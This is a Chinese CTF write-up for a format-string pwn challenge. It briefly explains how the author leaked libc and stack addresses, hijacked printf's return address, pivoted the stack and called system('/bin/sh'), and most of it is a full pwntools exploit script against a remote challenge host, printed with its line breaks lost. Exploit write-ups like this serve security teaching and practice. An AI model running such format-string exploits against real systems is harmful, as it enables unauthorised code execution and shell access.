how_to_fmt?
这次的比赛pwn
题只有一个,很可惜白天有点事情,下午回来时间不是很够,赛后一个小时勉勉强强做了出来,很可惜
小声哭,超小声
题目漏洞很明显的fmt
,不再多说了,类型和之前LItCTF2025
的fmt
非常相似,只是当时直接ogg
就可以getshell
,而这个需要执行
system("/bin/sh")
劫持printf
函数自身的返回地址,尝试执行过pop rdi;binsh;system
,但结果是rsp
未对齐16字节导致失败,然后尝试加入ret
使rsp
对齐16字节,结果多出一个位置会导致输入的内容覆盖掉call system
的地址,故失败,所以考虑在其他地方写入pop rdi;binsh;system
,然后通过pop rsp;target_addr
来劫持rsp
,最后即可getshell
哦对,最一开始需要爆破一下栈地址,16分之一的概率,很容易
我exp中用来向目标地址写内容的脚本可以封装成一个函数,看起来会更加简便,我这里就不封装了,大家感兴趣可以自己尝试一下
这个自动化爆破脚本有些不太稳定,多试几次就好了QAQ~~
噢对,写exp的时候发现,可以直接在栈上写入pop rdi;binsh;system
,然后劫持rsp就可以了,不用使用fmt写入pop rdi;binsh;system
,应该可行,大家可以试一下
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| from pwn import *
context(arch="amd64", os="linux") context.log_level='debug' context.terminal = ["tmux", "splitw", "-v", "-l", "190"]
libc_base=0x0 heap_base=0x0 pie=0x0
def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) ggg = lambda :(gdb.attach(p),pause())
libc=ELF('./libc.so.6') elf=ELF('./fmt')
while(1):
p=remote('node8.anna.nssctf.cn',21984) ru(b'welcome fmt!\n') payload=b"%c"*22+b'%'+str(0x208-0x16).encode()+b'c%hhn%'+str(0x32e-0x28+6-0x22+0x8e).encode()+b'c%hhn%c%ctaotao%ptaotao%ptaotao' sl(payload) ru(b'taotao0x') libc_base=int(ru('tao')[:-3],16)-0x2a1ca ogg1=li(0x583ec) ogg2=li(0x583f3) ogg3=li(0xef4ce) ogg4=li(0xef52b) ogg=ogg4 print(hex(ogg4)) rdi=li(0x000000000010f75b) rsp=li(0x000000000003c068) system,binsh=getshell() try: ru(b'tao0x') stack=int(ru('tao')[:-3],16) print(hex(stack)) ret=stack-0x108 ru(b'\n') payload=b'%'+str(0x180).encode()+b'c%26$hhn' payload=payload.ljust(0x40,b'a') payload+=p64(ret+0x1000)+p64(0)+p64(ret+2+0x1000)+p64(0)+p64(ret+4+0x1000)+b'\x00' p.recv(timeout=3) s(payload) break except: p.close()
payload=b'%'+str(binsh&0xffff).encode()+b'c%16$hn%'+str(0x10000-(binsh&0xffff)+((binsh>>16)&0xffff)).encode()+b'c%18$hn%'+str(0x30000-((binsh>>16)&0xffff)+((binsh>>32)&0xffff)).encode()+b'c%20$hn%'+str(0x40000-((binsh>>32)&0xffff)+0x80).encode()+b'c%26$hhntaotao\x00' ru(b'a'*0x10) s(payload)
ru(b'taotao') payload=b'%'+str(0x180).encode()+b'c%26$hhn' payload=payload.ljust(0x40,b'a') payload+=p64(ret+0x1000-8)+p64(0)+p64(ret+2+0x1000-8)+p64(0)+p64(ret+4+0x1000-8)+b'\x00' s(payload) ru(b'a'*0x10) payload=b'%'+str((rdi)&0xffff).encode()+b'c%16$hn%'+str(0x10000-((rdi)&0xffff)+(((rdi)>>16)&0xffff)).encode()+b'c%18$hn%'+str(0x30000-(((rdi)>>16)&0xffff)+(((rdi)>>32)&0xffff)).encode()+b'c%20$hn%'+str(0x40000-((rdi>>32)&0xffff)+0x80).encode()+b'c%26$hhntaotao\x00' s(payload)
ru(b'taotao') payload=b'%'+str(0x180).encode()+b'c%26$hhn' payload=payload.ljust(0x40,b'a') payload+=p64(ret+0x1000+8)+p64(0)+p64(ret+2+0x1000+8)+p64(0)+p64(ret+4+0x1000+8)+b'\x00' s(payload) ru(b'a'*0x10) payload=b'%'+str((system)&0xffff).encode()+b'c%16$hn%'+str(0x10000-((system)&0xffff)+(((system)>>16)&0xffff)).encode()+b'c%18$hn%'+str(0x30000-(((system)>>16)&0xffff)+(((system)>>32)&0xffff)).encode()+b'c%20$hn%'+str(0x40000-((rdi>>32)&0xffff)+0x80).encode()+b'c%26$hhntaotao\x00' s(payload)
ru(b'taotao') payload=b'%'+str(0x180).encode()+b'c%26$hhn' payload=payload.ljust(0x40,b'a') payload+=p64(ret+8)+p64(0)+p64(ret+2+8)+p64(0)+p64(ret+4+8)+b'\x00' s(payload) ru(b'a'*0x10) payload=b'%'+str((ret+0x1000-8)&0xffff).encode()+b'c%16$hn%'+str(0x10000-((ret+0x1000-8)&0xffff)+(((ret+0x1000-8)>>16)&0xffff)).encode()+b'c%18$hn%'+str(0x30000-(((ret+0x1000-8)>>16)&0xffff)+(((ret+0x1000-8)>>32)&0xffff)).encode()+b'c%20$hn%'+str(0x40000-(((ret+0x1000-8)>>32)&0xffff)+0x80).encode()+b'c%26$hhntaotao\x00' s(payload)
ru(b'taotao') payload=b'%'+str(0x180).encode()+b'c%26$hhn' payload=payload.ljust(0x40,b'a') payload+=p64(ret)+p64(0)+p64(ret+2)+p64(0)+p64(ret+4)+b'\x00' s(payload) ru(b'a'*0x10) payload=b'%'+str((rsp)&0xffff).encode()+b'c%16$hn%'+str(0x10000-((rsp)&0xffff)+(((rsp)>>16)&0xffff)).encode()+b'c%18$hn%'+str(0x30000-(((rsp)>>16)&0xffff)+(((rsp)>>32)&0xffff)).encode()+b'c%20$hn%\x00' s(payload)
shell()
|